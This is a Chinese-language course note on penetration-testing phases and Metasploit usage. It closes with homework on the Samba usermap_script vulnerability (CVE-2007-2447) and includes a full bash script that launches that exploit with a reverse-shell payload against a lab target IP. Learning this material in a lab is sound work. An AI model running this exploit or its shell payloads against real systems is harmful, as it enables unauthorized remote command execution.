基础知识
渗透测试
- 前期交互,确认范围
- 情报收集:被动搜索、主动扫描
- 威胁建模与攻击规划
- 漏洞分析:安全漏洞探测与挖掘
- 渗透攻击
- 后渗透
- 报告
Metasploit 功能
- 情报搜集:内建和插件机制
- 威胁建模:数据库操作
- 漏洞分析:除直接扫描、还有就是Fuzz可用于挖掘0day
- 后渗透:Meterpreter s ------ 支持多操作系统,驻留内存并支持免杀、并支持权限提升、信息获取、系统监控等
- 报告生成
Metasploit 实现了 手工作坊 ------> 工厂化 生产模式
Metasploit 架构
- 基础库文件
- 模块
- 渗透攻击模块
- 攻击载荷模块
- 空指针模块
- 编码器模块
- 后渗透模块
- 插件
- 接口
- 功能程序
下载
下载好后,在终端中使用下面的命令打开:
bash
/opt/metasploit-framework/bin/msfconsole
看到下面的 MSF 终端就说明安装成功了

MSF 终端使用简介
- help 查看功能
- 查找 samba 攻击模块
bash
search samba
- 选择攻击模块
bash
use /multi/samba/usermap_script
- 查看载荷
bash
show payloads
- 执行载荷
bash
set payload cmd/unix/bind_netcat
- 查看需要配置的参数(这里只需要配置目标主机地址)
bash
set RHOST 127.0.0.1
msfcli 命令行程序
支持在一条命令中执行多条操作
bash
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/ bind_netcat RHOST=127.0.0.1 E
作业
- 搜索 usermap_script 安全漏洞信息
https://nvd.nist.gov/vuln/detail/cve-2007-2447
- 允许远程攻击者通过涉及以下函数的 shell 元字符执行任意命令:(1)当"username map script"选项被启用时,使用 smb.conf 选项中的 SamlChangePassword 函数;(2)在远程打印机和文件共享管理场景中,允许远程认证的用户通过涉及其他 MS-RPC 函数的 shell 元字符执行命令。
- 统计一下 MSF 中针对 Windows 2008 的攻击模块数量
bash
search "Windows Server 2008" type:exploit platform:windows
-
获取一下 Linux 靶机的远程控制桌面
-
写一个 shell 程序,实现只需要输入 IP 地址,即可实现 usermap_script 的利用
bash
vim usermap_exploit.sh
bash
#!/usr/bin/env bash
set -euo pipefail
# 用法:./usermap_exploit.sh <靶机IP> [攻击机IP] [监听端口]
TARGET_IP="${1:?请提供靶机IP,例如 ./usermap_exploit.sh 192.168.56.101}"
ATTACK_IP="${2:-}"
LISTEN_PORT="${3:-4444}"
if [ -z "$ATTACK_IP" ]; then
# 自动取本机默认路由对应的 IP
ATTACK_IP="$(ip route get 1.1.1.1 2>/dev/null | awk '{for(i=1;i<=NF;i++) if($i=="src") print $(i+1)}')"
fi
if [ -z "$ATTACK_IP" ]; then
echo "无法自动获取攻击机IP,请手动传入第二个参数。"
exit 1
fi
echo "靶机IP: $TARGET_IP"
echo "攻击机IP: $ATTACK_IP"
echo "监听端口: $LISTEN_PORT"
msfconsole -q -x "
use exploit/multi/samba/usermap_script;
set payload cmd/unix/reverse;
set RHOSTS $TARGET_IP;
set RPORT 445;
set LHOST $ATTACK_IP;
set LPORT $LISTEN_PORT;
exploit;
"
bash
chmod +x usermap_exploit.sh
./usermap_exploit.sh 192.168.56.101